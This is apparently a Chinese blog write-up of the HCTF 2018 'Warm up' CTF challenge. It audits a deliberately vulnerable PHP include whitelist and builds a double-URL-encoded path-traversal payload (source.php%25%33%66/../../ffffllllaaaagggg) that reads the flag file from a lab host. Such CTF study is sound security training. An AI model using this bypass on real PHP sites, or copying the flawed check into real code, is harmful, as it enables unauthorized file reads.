HCTF 2018 Warm up

HCTF 2018 Warm up

题目分析

1.查看题目
HCTF 2018 Warm up_第1张图片
显示是一个php代码审计的题目
2.登入网页查看
HCTF 2018 Warm up_第2张图片
3.既然是代码审计,就查看页面源代码
HCTF 2018 Warm up_第3张图片看到源代码里提示一个source.php文件,所以我们猜测,要么是加载过来一个php文件(可是F12以后,没有发现),要么就是当前目录下有个source.php

4.访问当前目录下的source.php,果然成功
HCTF 2018 Warm up_第4张图片5.分析php代码
直接复制到md,清除转义为html的字符,
我们在代码中首先看到,有两个白名单文件,一个是source.php(就是我们当前访问的这个)。另外一个是hint.php,我们访问下
HCTF 2018 Warm up_第5张图片所以,可以知道flag在ffffllllaaaagggg中,接下来,我们分析source.php文件,我们看到其设置了白名单(source.php和hint.php),如果不在白名单内,直接返回False,根本就不会执行文件查询语句,所以只有构造url,绕过source.php,才可以访问到ffffllllaaaagggg文件
代码分析如下

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) 
        //传入了变量page,也就是我们刚刚传进来的file
        {
        	// 这里定义了白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
            /*为了返回 true 两个条件必须满足
            	1 page存在 
            	2 page是字符串 ,
            	这里和外层的判断file 一致基本是再次判断了一遍*/
                echo "you can't see it";
                return false;
            }
            //如果在白名单里,就会返回true,可是,这样就没办法构造url了,所以当前内容不可以在白名单里
            if (in_array($page, $whitelist)) {
                return true;
            }
			//对page重新进行赋值,
            $_page = mb_substr( 
                $page,
                0,
                #page新=page旧中0~第一个?之间的字符串(这里存在漏洞,我们可以构造利用),$page.?会在page后面继续新增一个?
                mb_strpos($page . '?',  '?')
            );
			//这是检测,page新 是否在白名单内,我们这里绕过,让其不在白名单内,这样就会继续执行           
            if (in_array($_page, $whitelist)) { 
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中
            $_page = urldecode($page); // 这里发现对_page进行了一次decode解码,?url两次编码为%25%33%66
            $_page = mb_substr(//获取两个??之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 最后只要是page=source.php就可以了
            if (in_array($_page, $whitelist)) {//白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    
    #主函数
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        #file作为参数传入checkFile(),GET传递参数形式为?file=$page
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; } ?>

补充下知识点:
HCTF 2018 Warm up_第6张图片
如果include包含的文件中含有路径,就会包含最后一个/后面的文件

6.构造payload

?file=source.php%25%33%66/../ffffllllaaaagggg
#其经过浏览器时,自动url解码一次(?url编码一次为%3f)
?file=source.php%3f/../ffffllllaaaagggg
#page=file,是字符串,非空,所以会绕过第一个if,其不在白名单里,会绕过第二个if,
#接下来,重新设置page,在page后添加?,获取两者之间内容
$page=source.php%3f/../ffffllllaaaagggg
#接下来,url解码一次,然后,重新获取到第一个?之间内容(%3f会解码为?)
$page=source.php  #最后会返回true,成功绕过

7.接下来,我们需要做的,就是调整 …/,直到访问到ffffllllaaaagggg文件就行了
HCTF 2018 Warm up_第7张图片最后的payload为http://e840692f-98b0-4420-b2a6-189d74765274.node4.buuoj.cn:81/?file=source.php%25%33%66/…/…/…/…/ffffllllaaaagggg

你可能感兴趣的:(CTF-web刷题,php)